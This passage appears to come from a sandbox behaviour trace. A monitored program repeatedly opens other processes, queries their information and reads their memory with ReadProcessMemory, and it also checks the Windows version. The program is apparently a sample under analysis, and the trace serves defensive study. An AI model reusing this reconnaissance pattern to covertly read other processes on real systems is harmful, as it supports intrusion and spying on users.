ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0276.915] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x20e020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0276.915] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5412e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0276.915] malloc (_Size=0x78) returned 0x20abc282120 [0276.915] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x541968, lpBuffer=0x20abc282120, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0276.916] free (_Block=0x20abc282120) [0276.917] CloseHandle (hObject=0x16c) returned 1 [0276.917] _ui64tow_s (in: _Value=0xe3c, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3644") returned 0x0 [0276.921] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3644") returned 4 [0276.938] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0276.939] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0276.955] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe3c) returned 0x16c [0276.955] GetLastError () returned 0x0 [0276.956] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0276.957] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2fd018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0276.957] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0276.957] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4d1cf0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0276.957] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4d18f8, lpBuffer=0x2dc22fc240, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0276.959] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0276.960] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0276.960] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2fd020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0276.961] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4d12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0276.961] malloc (_Size=0x72) returned 0x20abc2831b0 [0276.961] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4d1962, lpBuffer=0x20abc2831b0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0276.962] free (_Block=0x20abc2831b0) [0276.962] CloseHandle (hObject=0x16c) returned 1 [0276.963] _ui64tow_s (in: _Value=0xe4c, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3660") returned 0x0 [0276.967] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3660") returned 4 [0276.969] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0276.969] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0277.061] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe4c) returned 0x16c [0277.061] GetLastError () returned 0x0 [0277.062] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0277.062] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x275018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0277.063] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0277.063] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x151cb0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0277.064] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1518f8, lpBuffer=0x2dc22fc240, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0277.065] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0277.067] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0277.067] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x275020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0277.067] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1512e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0277.067] malloc (_Size=0x60) returned 0x20abc2801b0 [0277.067] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x151950, lpBuffer=0x20abc2801b0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2801b0*, lpNumberOfBytesRead=0x0) returned 1 [0277.068] free (_Block=0x20abc2801b0) [0277.069] CloseHandle (hObject=0x16c) returned 1 [0277.070] _ui64tow_s (in: _Value=0xe5c, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3676") returned 0x0 [0277.074] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3676") returned 4 [0277.075] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0277.075] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0277.091] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe5c) returned 0x16c [0277.091] GetLastError () returned 0x0 [0277.093] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0277.093] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2b1018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0277.093] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0277.093] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x531cd0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0277.093] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5318f8, lpBuffer=0x2dc22fc240, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0277.105] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0277.107] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0277.107] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2b1020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0277.107] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5312e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0277.107] malloc (_Size=0x6a) returned 0x20abc2831b0 [0277.107] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x53195a, lpBuffer=0x20abc2831b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0277.108] free (_Block=0x20abc2831b0) [0277.108] CloseHandle (hObject=0x16c) returned 1 [0277.109] _ui64tow_s (in: _Value=0xe68, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3688") returned 0x0 [0277.114] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3688") returned 4 [0277.115] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0277.115] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0277.132] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe68) returned 0x16c [0277.132] GetLastError () returned 0x0 [0277.133] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0277.133] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x39d018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0277.133] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0277.134] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x591ce0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0277.134] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5918f8, lpBuffer=0x2dc22fc240, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0277.135] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0277.137] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0277.137] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x39d020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0277.137] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5912e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0277.137] malloc (_Size=0x6c) returned 0x20abc2831b0 [0277.137] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x59195c, lpBuffer=0x20abc2831b0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0277.138] free (_Block=0x20abc2831b0) [0277.139] CloseHandle (hObject=0x16c) returned 1 [0277.140] _ui64tow_s (in: _Value=0xe78, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3704") returned 0x0 [0277.161] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3704") returned 4 [0277.161] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0277.161] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0277.174] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe78) returned 0x16c [0277.175] GetLastError () returned 0x0 [0277.176] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0277.176] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x322018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0277.176] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0277.176] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4d1ce0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0277.176] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4d18f8, lpBuffer=0x2dc22fc240, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0277.177] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0277.179] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0277.179] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x322020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0277.179] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4d12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0277.179] malloc (_Size=0x70) returned 0x20abc2831b0 [0277.179] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4d1960, lpBuffer=0x20abc2831b0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0277.180] free (_Block=0x20abc2831b0) [0277.181] CloseHandle (hObject=0x16c) returned 1 [0277.181] _ui64tow_s (in: _Value=0xe80, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3712") returned 0x0 [0277.185] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3712") returned 4 [0277.186] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0277.186] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0277.199] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe80) returned 0x16c [0277.199] GetLastError () returned 0x0 [0277.200] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0277.200] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2b1018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0277.200] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0277.201] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x491cb0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0277.201] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4918f8, lpBuffer=0x2dc22fc240, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0277.202] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0277.203] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0277.203] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2b1020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0277.203] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4912e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0277.213] malloc (_Size=0x5e) returned 0x20abc2801b0 [0277.213] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x49194e, lpBuffer=0x20abc2801b0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2801b0*, lpNumberOfBytesRead=0x0) returned 1 [0277.213] free (_Block=0x20abc2801b0) [0277.214] CloseHandle (hObject=0x16c) returned 1 [0277.214] _ui64tow_s (in: _Value=0xe8c, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3724") returned 0x0 [0277.218] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3724") returned 4 [0277.219] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0277.219] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0277.232] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe8c) returned 0x16c [0277.232] GetLastError () returned 0x0 [0277.233] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0277.233] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4f1018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0277.233] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0277.233] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x901ce0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0277.234] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x9018f8, lpBuffer=0x2dc22fc240, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0277.235] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0277.236] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0277.236] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4f1020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0277.236] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x9012e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0277.237] malloc (_Size=0x70) returned 0x20abc2831b0 [0277.237] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x901960, lpBuffer=0x20abc2831b0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0277.237] free (_Block=0x20abc2831b0) [0277.238] CloseHandle (hObject=0x16c) returned 1 [0277.238] _ui64tow_s (in: _Value=0xe94, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3732") returned 0x0 [0277.242] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3732") returned 4 [0277.243] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0277.243] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0277.304] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe94) returned 0x16c [0277.304] GetLastError () returned 0x0 [0277.305] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0277.305] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x308018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0277.305] ReadProcessMemory (in: hProcess=0x16c, 